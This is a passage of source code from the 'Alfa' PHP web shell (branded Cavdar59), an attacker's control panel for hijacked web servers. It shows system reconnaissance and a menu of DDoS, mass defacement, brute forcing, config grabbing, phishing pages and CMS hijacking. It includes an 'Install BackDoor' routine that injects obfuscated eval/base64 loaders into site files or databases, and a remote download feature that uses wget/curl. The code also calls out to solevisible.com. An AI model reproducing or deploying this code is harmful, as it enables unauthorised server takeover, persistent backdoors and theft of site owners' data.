a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};\n</script>\n<?php echo"<form style=\'display:none;\' id=\'dlForm\' action=\'\' target=\'_blank\' method=\'post\'>\n<input type=\'hidden\' name=\'a\' value=\'dlfile\'>\n<input type=\'hidden\' name=\'c\' value=\'\'>\n<input type=\'hidden\' name=\'file\' value=\'\'>\n</form>\n<input type=\'file\' style=\'display:none;\' id=\'importFileBtn\' onchange=\'importConfig(event);\'>\n<div id=\'a_loader\'><img src=\'".__showicon(\'loader\')."\'></div>";\n$cmd_uname = alfaEx("uname -a",false,false);\n$uname = function_exists(\'php_uname\') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:\'( php_uname ) Function Disabled !\');\nif($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}\necho \'\n</head>\n<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">\n<div id="up_bar_holder"></div>\n<div class="whole">\n<form method="post" name="mf" style="display:none;">\n<input type="hidden" name="a">\n<input type="hidden" name="c" value="\'.$GLOBALS[\'cwd\'].\'">\';\nfor($s=1;$s<=10;$s++){\necho \'<input type="hidden" name="alfa\'.$s.\'">\';\n}\necho \'<input type="hidden" name="charset">\n</form>\n<div id=\\\'hidden_sh\\\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">\'.__ALFA_CODE_NAME__.\'</span><br><small>Version: <span class="hidden_shell_version">\'.__ALFA_VERSION__.\'</span></small></a></div>\n<div class="header"><table width="100%" border="0">\n<tr>\n<td width="3%"><span class="header_vars">Uname:</span></td>\n<td colspan="2"><span class="header_values" id="header_uname">\'.$uname.\'</span></td>\n</tr>\n<tr>\n<td><span class="header_vars">User:</span></td>\n<td><span class="header_values" id="header_userid">\'. $uid . \' [ \' . $user . \' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">\' . $gid . \' [ \' . $group . \' ]</span> </td>\n<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="Cavdar59" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>\n</tr>\n<tr>\n<td><span class="header_vars">PHP:</span></td>\n<td><b style="color:white;">\'.@phpversion(). \' </b><span class="header_vars"> Safe Mode: \'.$safe_modes.\'</span></td>\n</tr>\n<tr>\n<td><span class="header_vars">ServerIP:</span></td>\n<td><b style="color:white;">\'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]).\'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b style="color:white;"> \'.@$_SERVER["REMOTE_ADDR"].\'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>\n</tr>\n<tr>\n<td width="3%"><span class="header_vars">DateTime:</span></td>\n<td colspan="2"><b stlye="color:white;">\'.date(\'Y-m-d H:i:s\').\'</b></td>\n</tr>\n<tr>\n<td><span class="header_vars">Domains:</span></td>\n<td width="76%"><span class="header_values" id="header_domains">\';\nif($GLOBALS[\'sys\']==\'unix\'){\n$d0mains = _alfa_file("/etc/named.conf",false);\nif(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{\n$count=0;\nforeach($d0mains as $d0main){\nif(@strstr($d0main,"zone")){\npreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\nflush();\nif(strlen(trim($domains[1][0])) > 2){\nflush();\n$count++;}}}\necho "$count Domains";}}\nelse{echo("Cant Read [ /etc/named.conf ]");}\necho \'</span></td>\n</tr>\n<tr>\n<td height="16"><span class="header_vars">HDD:</span></td>\n<td><span class="header_vars">Total:</span><b stlye="color:white;">\'.alfaSize($totalSpace).\' </b><span class="header_vars">Free:</span><b stlye="color:white;">\' . alfaSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</b></td>\n</tr>\';\nif($GLOBALS[\'sys\']==\'unix\'){\n$useful_downloader = \'<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>\';\nif(!@ini_get(\'safe_mode\')){\nif(strlen(alfaEx("id",false,false))>0){\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>\';\n$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzialfa2\',\'nc\',\'locate\',\'suidperl\');\n$x=0;\nforeach($userful as $item)if(alfaWhich($item)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item.\'</span>\';}\nif($x==0){echo "<span class=\'header_values\' id=\'header_useful\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\necho \'</td>\n</tr>\n<tr>\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span>\';\n$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n$x=0;\nforeach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item2.\'</span>\';}\nif($x==0){echo "<span class=\'header_values\' id=\'header_downloader\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\necho \'</td>\n</tr>\';\n}else{\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\n}\n}else{\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\n}\n}else{\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>\';\necho alfaEx(\'ver\',false,false);\necho \'</td>\n</tr> <tr>\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>\n</tr></b>\';\n}\n$quotes = (function_exists(\'get_magic_quotes_gpc\')?get_magic_quotes_gpc():\'0\');if ($quotes == "1" or $quotes == "on"){$magic = \'<b><span class="header_on">ON</span>\';}else{$magic = \'<span class="header_off">OFF</span>\';}\necho \'<tr>\n<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>\'.Alfa_GetDisable_Function().\'</b></td>\n</tr>\n<tr>\n<td height="16" colspan="2"><span class="header_vars">CURL :</span>\'.$curl.\' | <span class="header_vars">SSH2 : </span>\'.$ssh2.\' | <span class="header_vars">Magic Quotes : </span>\'.$magic.\' | <span class="header_vars"> MySQL :</span>\'.$mysql.\' | <span class="header_vars">MSSQL :</span>\'.$mssql.\' | <span class="header_vars"> PostgreSQL :</span>\'.$pg.\' | <span class="header_vars"> Oracle :</span>\'.$or.\' \'.($GLOBALS[\'sys\']=="unix"?\'| <span class="header_vars"> CGI :</span> \'.$cgi_shell:"").\'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://cavdar599.blogspot.com" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>\n</tr>\n<tr>\n<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>\'.$open_b.\'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>\'.$safe_exe.\'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>\'.$safe_include.\'</b></td>\n</tr>\n<tr>\n<td height="11"><span class="header_vars">SoftWare: </span></td>\n<td colspan="2"><b style="color:white;">\'.@getenv(\'SERVER_SOFTWARE\').\'</b></td>\n</tr>\';\nif($GLOBALS[\'sys\']=="win"){\necho \'<tr>\n<td height="12"><span class="header_vars">DRIVE:</span></td>\n<td colspan="2"><b>\'.$drives.\'</b></td>\n</tr>\';\n}\necho \'<tr>\n<td height="12"><span class="header_vars">PWD:</span></td>\n<td colspan="2"><span id="header_cwd">\'.$cwd_links.\' </span><a href="#action=fileman&path=\'.$GLOBALS[\'home_cwd\'].\'" onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')"><span class="home_shell">[ Home Shell ]</span> </a></td>\n</tr>\n</table>\n</div>\n<div id="meunlist">\n<ul>\n\';\n$li = array(\'bypass2021\'=>\'2021 php password bypass\',\'proc\'=>\'Process\',\'phpeval\'=>\'Eval\',\'sql\'=>\'SQL Manager\',\'dumper\'=>\'Database Dumper\',\'coldumper\'=>\'Column Dumper\',\'hash\'=>\'En-Decoder\',\'connect\'=>\'BC\',\n\'zoneh\'=>\'ZONE-H\',\'dos\'=>\'DDOS\',\'safe\'=>\'ByPasser\',\'cgishell\'=>\'Cgi Shell\',\'ssiShell\'=>\'SSI SHELL\',\'cpcrack\'=>\'Hash Tools\',\n\'portscanner\'=>\'Port Scaner\',\'basedir\'=>\'Open BaseDir\',\'mail\'=>\'Fake Mail\',\'ziper\'=>\'Compressor\',\'deziper\'=>\'DeCompressor\',\'IndexChanger\'=>\'Index Changer\',\'pwchanger\'=>\'Add New Admin\',\'ShellInjectors\'=>\'Shell Injectors\',\n\'php2xml\'=>\'PHP2XML\',\'cloudflare\'=>\'CloudFlare\',\'Whmcs\'=>\'Whmcs DeCoder\',\'symlink\'=>\'Symlink\',\'MassDefacer\'=>\'Mass Defacer\',\'Crackers\'=>\'BruteForcer\',\'searcher\'=>\'Searcher\',\'config_grabber\'=>\'Config Grabber\',\'fakepage\'=>\'Fake Page\',\'archive_manager\'=>\'Archive Manager\',\n\'cmshijacker\'=>\'CMS Hijacker\',\'remotedl\'=>\'Remote Upload\',\'inbackdoor\'=>\'Install BackDoor\',\'whois\'=>\'Whois\',\'selfrm\'=>\'Remove Shell\'\n);\nforeach($li as $key=>$value){\necho(\'<li><a id="menu_opt_\'.$key.\'" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=\'.$key.\'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=\'.$key.\'\\\';g(\\\'\'.$key.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">\'.$value.\'</a></li>\'."\\n");\n}\necho \'</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=settings\\\';g(\\\'settings\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=market\\\';g(\\\'market\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=aboutus\\\';g(\\\'aboutus\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">About Us</a>\'.(!empty($_COOKIE[\'AlfaUser\']) && !empty($_COOKIE[\'AlfaPass\']) ? \'<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>\':\'\').\'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="\'.$GLOBALS[\'cwd\'].\'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\\\'/\\\',1);">New Tab +</div></div>\';\n\necho \'<div style="padding:6px; text-align: center;"><b style="color:white; font-size:15px; ">Shel Güncelleme BitmiÅŸtir Tüm Sunucularda Artık Sheli Sokabilirsiniz Güncellenme alfa v4.1 sistemine geçilip yeni özellikler kullanabilirsiniz Tarhi Türk sunucularına saldırı yapmayın. 04.03.2021 06:48 By Cavdar59</b></div> \';\n\n}else{\n@error_reporting(E_ALL ^ E_NOTICE);\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@ini_set(\'magic_quotes_runtime\', 0);\n@set_time_limit(0);\n}}\nfunction alfalogout(){\n@setcookie("AlfaUser", null, 2012);\n@setcookie("AlfaPass", null, 2012);\nunset($_COOKIE[\'AlfaUser\'],$_COOKIE[\'AlfaPass\']);\necho("ok");\n}\nfunction showAnimation($name){\n    return \'-webkit-animation: \'.$name.\' 800ms ease-in-out forwards;-moz-animation: \'.$name.\' 800ms ease-in-out forwards;-ms-animation: \'.$name.\' 800ms ease-in-out forwards;animation: \'.$name.\' 800ms ease-in-out forwards;\';\n}\nfunction __showicon($r){\n    $s[\'btn\']=\'http://solevisible.com/images/btn.png\';\n    $s[\'alfamini\']=\'http://solevisible.com/images/alfamini.png\';\n    $s[\'loader\']=\'http://solevisible.com/images/loader.svg\';\n    //return \'data:image/png;base64,\'.__get_resource($s[$r]);\n    return $s[$r];\n}\nfunction alfainbackdoor(){\nalfahead();\necho \'<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'file\\\')">| In File | </a><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'db\\\')">| In DataBase | </a></h3></center>\';\n$error = \'<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>\';\n$success= \'<font color="green">Success...!\';\n$textarea = "<div style=\'display:none;\' id=\'backdoor_textarea\'><div class=\'txtfont\'>Your Shell:</div><p><textarea name=\'shell\' rows=\'19\' cols=\'103\'><?php\\n\\techo(\'Cavdar59 is Here...!\');\\n?></textarea></p></div>";\n$select = "<div class=\'txtfont\'>Use:</div> <select name=\'method\' style=\'width:155px;\' onChange=\'inBackdoor(this);\'><option value=\'alfa\'>Cavdar59 Uploader</option><option value=\'my\'>My Private Shell</option></select>";\n$cwd = \'Example: /home/alfa/public_html/index.php\';\nif($_POST[\'alfa1\']==\'file\'){\necho("<center><p><div class=\'txtfont_header\'>| In File |</div></p><p><form onsubmit=\\"g(\'inbackdoor\',null,\'file\',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\\">{$select} <div class=\'txtfont\'>Backdoor Loader:</div> <input type=\'text\' name=\'file\' size=\'50\' placeholder=\'{$cwd}\'> <div class=\'txtfont\'>Key: </div> <input type=\'text\' name=\'key\' size=\'10\' value=\'alfa\'> <input type=\'submit\' value=\' \'>{$textarea}</form></p></center>");\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa4\']!=\'\'){\n$method = $_POST[\'alfa2\'];\n$file = $_POST[\'alfa3\'];\n$shell = $_POST[\'alfa4\'];\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa5\']));\nif($key==\'\')$key=\'alfa\';\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x("\'.$shell.\'");exit;}?>\';\nif(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}\nif($_POST[\'alfa1\']==\'db\'){\necho("<center><p><div class=\'txtfont_header\'>| In DataBase |</div></p>".getConfigHtml(\'all\')."<p><form onsubmit=\\"g(\'inbackdoor\',null,\'db\',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\\">");\n$table = array(\'td1\' =>\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n\'td2\' =>\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n\'td3\' =>\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n\'td4\' =>\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n\'td5\' =>\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Backdoor Loader: \', \'inputName\' => \'file\', \'inputValue\' => $cwd, \'inputSize\' => \'50\', \'placeholder\' => true),\n\'td6\' =>\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Key: \', \'inputName\' => \'key\', \'inputValue\' => \'alfa\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho("<p>{$select}</p>");\necho($textarea);\necho("<p><input type=\'submit\' value=\' \'></p></form></p></center>");\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa5\']!=\'\'&&$_POST[\'alfa6\']!=\'\'){\n$dbhost = $_POST[\'alfa2\'];\n$dbuser = $_POST[\'alfa3\'];\n$dbpw = $_POST[\'alfa4\'];\n$dbname = $_POST[\'alfa5\'];\n$file = $_POST[\'alfa6\'];\n$method = $_POST[\'alfa7\'];\n$shell = $_POST[\'alfa8\'];\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa9\']));\nif($key==\'\')$key=\'alfa\';\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\nif($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$conn=mysqli_connect("\'.str_replace(\'"\',\'\\"\',$dbhost).\'","\'.str_replace(\'"\',\'\\"\',$dbuser).\'","\'.str_replace(\'"\',\'\\"\',$dbpw).\'","\'.str_replace(\'"\',\'\\"\',$dbname).\'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>\';\nif(@is_file($file)&&@is_writable($file)){\n@mysqli_query($conn,\'DROP TABLE `alfa_bc`\');\n@mysqli_query($conn,\'CREATE TABLE `alfa_bc` (code LONGTEXT)\');\n@mysqli_query($conn,\'INSERT INTO `alfa_bc` VALUES("\'.$shell.\'")\');\n@file_put_contents($file,$code."\\n".@file_get_contents($file));\n__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}}\necho(\'</div>\');\nalfafooter();\n}\nfunction alfawhois(){\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Whois |</div></p><p><form onsubmit=\\"g(\'whois\',null,this.url.value,\'>>\');return false;\\"><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'url\' style=\'text-align:center;\' size=\'50\' placeholder=\'google.com\'> <input type=\'submit\' value=\' \'></form></p></center>");\nif($_POST[\'alfa2\']==\'>>\'&&!empty($_POST[\'alfa1\'])){\n$site = str_replace(array(\'http://\',\'https://\',\'www.\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\n$target = \'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=\'.$site;\n$data = @file_get_contents($target);\nif($data==\'\'){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}\n$target = @json_decode($data,true);\necho __pre();\nif(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}\necho("</div>");\n}\nfunction alfaremotedl(){\nalfahead();\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Upload From Url |</div></p><p>\n<form onsubmit=\\"g(\'remotedl\',null,this.d.value,this.p.value,\'>>\');return false;\\">\n<p><div class=\'txtfont\'>Url: </div>&nbsp;&nbsp;&nbsp;<input type=\'text\' name=\'d\' size=\'50\'></p>\n<div class=\'txtfont\'>Path:</div> <input type=\'text\' name=\'p\' size=\'50\' value=\'".$GLOBALS[\'cwd\']."\'><p><input type=\'submit\' value=\' \'></p>\n</form></p></center>");\nif(isset($_POST[\'alfa1\'],$_POST[\'alfa2\'],$_POST[\'alfa3\'])&&!empty($_POST[\'alfa1\'])&&$_POST[\'alfa3\']==\'>>\'){\necho __pre();\n$url = $_POST[\'alfa1\'];\n$path = $_POST[\'alfa2\'];\necho(\'<center>\');\nif(__download($url,$path)){\necho(\'<font color="green">Success...!</font>\');\n}else{\necho(\'<font color="red">Error...!</font>\');\n}\necho(\'</center>\');\n}\necho("</div>");\nalfafooter();\n}\nfunction __download($url,$path=false){\nif(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false;\n$saveas = basename(rawurldecode($url));\nif($path){$saveas=$path.$saveas;}\nif($content = __read_file($url)){\nif(@is_file($saveas))@unlink($saveas);\nif(__write_file($saveas, $content)){return true;}}\n$buff = alfaEx("wget ".$url." -O ".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx("curl ".$url." -o ".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx("lwp-download ".$url." ".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx("lynx -source ".$url." > ".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx("GET ".$url." > ".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx("links -source ".$url." > ".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx("fetch -o ".$saveas." -p ".$url);\nif(@is_file($saveas)) return true;\nreturn false;\n}\nfunction clean_string($string){\n  if(function_exists("iconv")){\n      $s = trim($string);\n      $s = iconv("UTF-8", "UTF-8//IGNORE", $s);\n  }\n  return $s;\n}\nfunction __read_file($file, $boom = true){\n$content = false;\nif($fh = @fopen($file, "rb")){\n$content = "";\nwhile(!feof($fh)){\n$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);\n}\n@fclose($fh);\n}\nif(empty($content)||!$content){\n    $content = alfaEx("cat \'".addslashes($file)."\'");\n}\nreturn $content;\n}\nfunction alfaMarket(){\necho "<div class=\'header\'>";\n$curl = new AlfaCURL();\n$content = $curl->Send("http://solevisible.com/market.php");\n$data = @json_decode($content, true);\nif(!empty($data)){\nif($data["status"] == "open"){\n    echo $data["content"];\n}else{\n    echo $data["error_msg"];\n}\n}else{\n    echo "<div style=\'text-align:center;font-size:20px;\'>Cant connect to the alfa market....! try later.</div>";\n}\necho "</div>";\n}\nfunction alfaSettings(){\nalfahead();\nAlfaNum(6,7,8,9,10);\necho \'<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,null,\\\'main\\\')">| Generall Setting | </a></h3></center>\';\nif($_POST["alfa8"] == "main"){\necho \'<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\\\'post\\\'>\';\n$lg_array = array(\'0\'=>\'No\',\'1\'=>\'Yes\');\n$penc_array = array(\'false\'=>\'No\',\'true\'=>\'Yes\');\n$protect_html = "";\n$icon_html = "";\n$postEnc_html = "";\n$login_html = "";\n$cgiapi_html = "";\nforeach($lg_array as $key=>$val)$protect_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'safemode\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\nforeach($lg_array as $key=>$val)$icon_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\nforeach($penc_array as $key=>$val)$cgiapi_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa9\'])&&$_POST[\'alfa9\']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST[\'alfa9\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\nforeach($penc_array as $key=>$val)$postEnc_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa7\'])&&$_POST[\'alfa7\']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST[\'alfa7\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\n$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");\nforeach($lg_array as $key=>$val)$login_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'login_page\']==$key?\'selected\':\'\').\'>\'.$val.\'</option>\';\necho \'\';\necho \'<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">\'.$protect_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">\'.$cgiapi_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">\'.$postEnc_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">\'.$icon_html.\'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">\'.$login_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="\'.(empty($_POST[\'alfa3\'])?$GLOBALS[\'DB_NAME\'][\'user\']:$_POST[\'alfa3\']).\'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="\'.$GLOBALS[\'DB_NAME\'][\'safemode\'].\'"><input type="hidden" name="s" value="\'.$GLOBALS[\'DB_NAME\'][\'show_icons\'].\'"><p><input type="submit" name="btn" value=" "></p></form></center>\';\nif($_POST[\'alfa5\']==\'>>\'){\necho __pre();\nif(!empty($_POST[\'alfa3\'])){\n$protect = $_POST[\'alfa1\'];\n$lgpage = $_POST[\'alfa2\'];\n$username = $_POST[\'alfa3\'];\n$password = md5($_POST[\'alfa4\']);\n$icon = $_POST[\'alfa6\'];\n$post_encrypt = $_POST[\'alfa7\'];\n$cgi_api_val = $_POST[\'alfa9\'];\n@chdir($GLOBALS[\'home_cwd\']);\n$basename = @basename($_SERVER[\'PHP_SELF\']);\n$data = @file_get_contents($basename);\n$user_rand = $GLOBALS["DB_NAME"]["user_rand"];\n$pass_rand = 